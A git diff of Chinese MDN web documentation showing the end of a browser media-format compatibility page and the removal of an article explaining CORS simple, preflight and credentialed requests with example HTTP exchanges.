从Firefox 51开始,你就可以使用FLAC编解码器播放MP4了,不管你有没有安装 MediaSource Extensions和DRM 扩展支持。

- -

MP3

- -

MP3 audio 编码对应浏览器<audio>的支持。其中Firefox/Firefox for Android/Firefox OS需要操作系统本身提供了MP3的解码器;而IE,Chrome,Safari则原生支持

- -

WAVE PCM

- -

WAVE容器使用PCM音频编解码器;桌面和移动Gecko (Firefox) a、 Safari都支持,WAVE容器中的文件后缀为 ".wav"。

- -
See RFC 2361 for the WAVE codec registry.
- -

Gecko提供下面4种WAVE文件格式的MIME type:

- -
    -
  • audio/wave (preferred; does not work in Chrome)
  • -
  • audio/wav
  • -
  • audio/x-wav
  • -
  • audio/x-pn-wav
  • -
- -

FLAC

- -

FLAC容器格式使用 FLAC 音频编解码器 (FLAC codec);桌面端受到Gecko Firefox 51.0 (Firefox 51.0 / Thunderbird 51.0 / SeaMonkey 2.48)的支持,文件后缀为 “.flac”

- -

Gecko提供下面4种FLAC文件格式的MIME type:

- -
    -
  • audio/flac (preferred)
  • -
  • audio/x-flac
  • -
- -

Media Source Extensions (MSE)

- -

媒体源扩展(MSE)是一个W3C工作草案,计划扩展{{domxref("HTMLMediaElement")}}以允许JavaScript生成用于重放的媒体流。 允许JavaScript生成流以适应各种应用场景,如自适应流和时移实时流。 MSE支持仅限于MP4和WebM容器,但编解码器支持因底层平台而异。

- -

例如:可以使用JavaScript实现MPEG-DASH,同时将解码解压缩到MSE。
-
- For example, you could implement MPEG-DASH using JavaScript while offloading the decoding to MSE.

- -
-

时间位移(Time shifting) 功能主要是将即时内容,录制在存储器上,可以暂时离开,一定时间回来后,可以从离开的时间通过内部的重播。

-
- -

浏览器兼容情况

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support3.0{{CompatGeckoDesktop("1.9.1")}}9.010.503.1
<audio>: PCM in WAVE{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.503.1
<audio>: Vorbis in WebM{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatNo}}10.603.1[1]
<audio>: Streaming Vorbis/Opus in WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("36.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<audio>: MP3{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[5]9.0{{CompatVersionUnknown}}3.1
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatVersionUnknown}}[6]{{CompatVersionUnknown}}[7]9.0{{CompatVersionUnknown}}3.1
<audio>: Opus in Ogg27.0{{CompatGeckoDesktop("15.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: FLAC56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}11
<audio>: FLAC in Ogg56.0{{CompatGeckoDesktop("51")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
<video>: VP8 and Vorbis in WebM6.0{{CompatGeckoDesktop("2.0")}}9.0[8]10.603.1[9]
<video>: VP9 and Opus in WebM29.0{{CompatGeckoDesktop("28.0")}}[36]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}[35]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}10.50{{CompatNo}}
<video>: H.264 and MP3 in MP4{{CompatVersionUnknown}}[3]{{CompatVersionUnknown}}[10]9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[4]{{CompatVersionUnknown}}[11]9.0{{CompatVersionUnknown}}3.1
<video>: FLAC in MP462.0{{CompatGeckoDesktop(51)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}3.1[12]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileOpera MiniSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.110.011.0{{CompatVersionUnknown}}[13]3.2
<audio>: PCM in WAVE{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[14]3.2
<audio>: Vorbis in WebM{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[15]{{CompatNo}}
<audio>: Streaming Vorbis in WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<audio>: Vorbis in Ogg{{CompatUnknown}}{{CompatUnknown}}24.01.0.1{{CompatNo}}11.0{{CompatVersionUnknown}}[16]{{CompatNo}}
<audio>: MP3{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[17]{{CompatVersionUnknown}}[18]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[19]3.2
<audio>: MP3 in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
<audio>: AAC in MP4{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[20]{{CompatVersionUnknown}}[21]10.0{{CompatUnknown}}{{CompatVersionUnknown}}[22]{{CompatVersionUnknown}}
<audio>: Opus in Ogg{{CompatNo}}71.024.0{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[23]{{CompatNo}}
<video>:  VP8 and Vorbis in WebM{{CompatVersionUnknown}}{{CompatChrome(29)}}24.01.0.1{{CompatNo}}16.0{{CompatVersionUnknown}}[24]{{CompatNo}}
<video>: VP9 and Opus in WebM{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Streaming WebM via MSE{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
<video>: Theora and Vorbis in Ogg{{CompatNo}}{{CompatNo}}24.01.0.1{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}[25]{{CompatNo}}
<video>:  H.264 and MP3 in MP4{{CompatVersionUnknown}}[26]{{CompatChrome(29)}}24.0[33]{{CompatVersionUnknown}}[27]10.016.0[28]{{CompatVersionUnknown}}[29]{{CompatVersionUnknown}}
<video>: H.264 and AAC in MP4{{CompatVersionUnknown}}[30]{{CompatChrome(29)}}24.0[34]{{CompatVersionUnknown}}[31]10.016.0[28]{{CompatVersionUnknown}}[32]3.2
<video>: FLAC in MP4{{CompatUnknown}}62.0{{CompatGeckoMobile(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
any other format{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] Must be installed separately.

- -

[2] In Nightly/Dev Edition only.

- -

[3] Only on platforms that don't support H.264.

- -

[4] AAC is only supported in the MP4 container. Not in Chromium.

- -

[5] To avoid patent issues, support for MP3 is not built directly into Firefox. Instead it relies on support from the OS. Firefox supports this format on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[6] Main only. Not in Chromium. AAC is only supported in the MP4 container.

- -

[7] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[8] must be installed separately, e.g. WebM MF.

- -

[9] Must be installed separately, e.g. Perian.

- -

[10] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[11] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4, H.264 and AAC is not built directly into Firefox. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4). Firefox supports these formats on the following platforms: Windows Vista+ since Firefox 22.0, Android since Firefox 20.0, Firefox OS since Firefox 15.0, Linux since Firefox 26.0 (relies on GStreamer codecs) and OS X 10.7 since Firefox 35.0.

- -

[12] Plays all formats available via QuickTime.

- -

[13] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[14] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[15] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[16] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[17] To avoid patent issues, support for MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware.

- -

[18] To avoid patent issues, support for MP3 is not built directly into Firefox OS. Instead it relies on support from the OS or hardware.

- -

[19] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[20] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[21] AAC is only supported in the MP4 container. To avoid patent issues, support for MPEG 4 and AAC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[22] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

- -

[23] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[24] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[25] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[26] To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

- -

[27] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed.
- To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android) and Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[28] Partial since 11.0. AAC is only supported in the MP4 container.

- -

[29] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats.

- -

[30] AAC is only supported in the MP4 container. To get the default Android browser to play H.264 video, you need to jump through some hoops, as explained by Peter Gasston.

- -

[31] In Firefox OS 1.0.1, when detecting <video> support for different formats, HTMLMediaElement.prototype.canPlayType incorrectly reports true for h.264 video whereas in actual fact h.264 is not supported. In Firefox OS 1.1 this problem has been fixed. AAC is only supported in the MP4 container.
- To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox OS. Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[32] Opera Mini itself doesn't support any video or audio, but any video or audio is passed to the device to play if it has support for that format. Opera Mobile also does this with unsupported formats. AAC is only supported in the MP4 container.

- -

[33] To avoid patent issues, support for MPEG 4, H.264 and MP3 is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[34] To avoid patent issues, support for MPEG 4, H.264 and ACC is not built directly into Firefox Mobile (Android). Instead it relies on support from the OS or hardware (the hardware also needs to be able to support the profile used to encode the video, in the case of MP4).

- -

[35] VP8/VP9 video codecs are only available in MSE when H.264 hardware decoders are not available. Checking for availability via MediaSource.isTypeSupported() is recommended.

- -

[36] Starting in Firefox 46, when attempting to initiate a WebRTC call using {{domxref("RTCPeerConnection.createOffer()")}} uses VP9 by default; in the past, VP8 was the default video format.

- -

See also

- - diff --git a/files/zh-cn/web/http/access_control_cors/index.html b/files/zh-cn/web/http/access_control_cors/index.html deleted file mode 100644 index c7acc1344d..0000000000 --- a/files/zh-cn/web/http/access_control_cors/index.html +++ /dev/null @@ -1,510 +0,0 @@ ---- -title: 跨源资源共享(CORS) -slug: Web/HTTP/Access_control_CORS -tags: - - AJAX - - CORS - - Cross-Origin Resource Sharing - - Fetch - - Fetch API - - HTTP - - HTTP Access Controls - - Same-origin policy - - Security - - XMLHttpRequest - - 'l10n:priority' -translation_of: Web/HTTP/CORS ---- -
{{HTTPSidebar}}
- -

跨源资源共享 ({{Glossary("CORS")}}) (或通俗地译为跨域资源共享)是一种基于{{Glossary("HTTP")}} 头的机制,该机制通过允许服务器标示除了它自己以外的其它{{glossary("origin")}}(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。

- -

跨源HTTP请求的一个例子:运行在 http://domain-a.com 的JavaScript代码使用{{domxref("XMLHttpRequest")}}来发起一个到 https://domain-b.com/data.json 的请求。

- -

出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

- -

- -

跨源域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨源 HTTP 请求所带来的风险。

- -

谁应该读这篇文章?

- -

说实话,每个人。

- -

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨源资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

- -

什么情况下需要 CORS ?

- -

这份 cross-origin sharing standard 允许在下列场景中使用跨站点 HTTP 请求:

- - - -

本文概述了跨源资源共享机制及其所涉及的 HTTP 头。

- -

功能概述

- -

跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

- -

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

- -

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

- -

若干访问控制场景

- -

这里,我们使用三个场景来解释跨源资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

- -

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨源  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

- -

关于服务端对跨源资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

- -

简单请求

- -

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

- -
    -
  • 使用下列方法之一: -
      -
    • {{HTTPMethod("GET")}}
    • -
    • {{HTTPMethod("HEAD")}}
    • -
    • {{HTTPMethod("POST")}}
    • -
    -
  • -
  • 除了被用户代理自动设置的首部字段(例如 {{HTTPHeader("Connection")}} ,{{HTTPHeader("User-Agent")}})和在 Fetch 规范中定义为 禁用首部名称 的其他首部,允许人为设置的字段为 Fetch 规范定义的 对 CORS 安全的首部字段集合。该集合为: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • -
    • DPR
    • -
    • Downlink
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: -
      -
    • text/plain
    • -
    • multipart/form-data
    • -
    • application/x-www-form-urlencoded
    • -
    -
  • -
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • -
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • -
- -
注意: 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。
- -
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
- -

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

客户端和服务器之间使用 CORS 首部字段来处理权限:

- -

- -

分别检视请求报文和响应报文:

- -
GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

- -

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

- -

Access-Control-Allow-Origin: http://foo.example

- -

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

- -

预检请求

- -

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

- -

如下是一个需要执行预检请求的 HTTP 请求:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

- -

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

预检请求完成之后,发送实际请求:

- -
POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><person><name>Arun</name></person>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
- -

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

首部字段 {{HTTPHeader("Access-Control-Request-Method")}} 告知服务器,实际请求将使用 POST 方法。首部字段 {{HTTPHeader("Access-Control-Request-Headers")}} 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHERContent-Type。服务器据此决定,该实际请求是否被允许。

- -

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

- -
Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

- -

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

- -

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

- -

预检请求与重定向

- -

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

- -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
- -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
- -

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

- -

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

- -
    -
  • 在服务端去掉对预检请求的重定向;
  • -
  • 将实际请求变成一个简单请求。
  • -
- -

如果上面两种方式难以做到,我们仍有其他办法:

- - - -

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

- -

附带身份凭证的请求

- -

{{domxref("XMLHttpRequest")}} 或 Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

- -

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

- -

- -

客户端与服务器端交互示例如下:

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
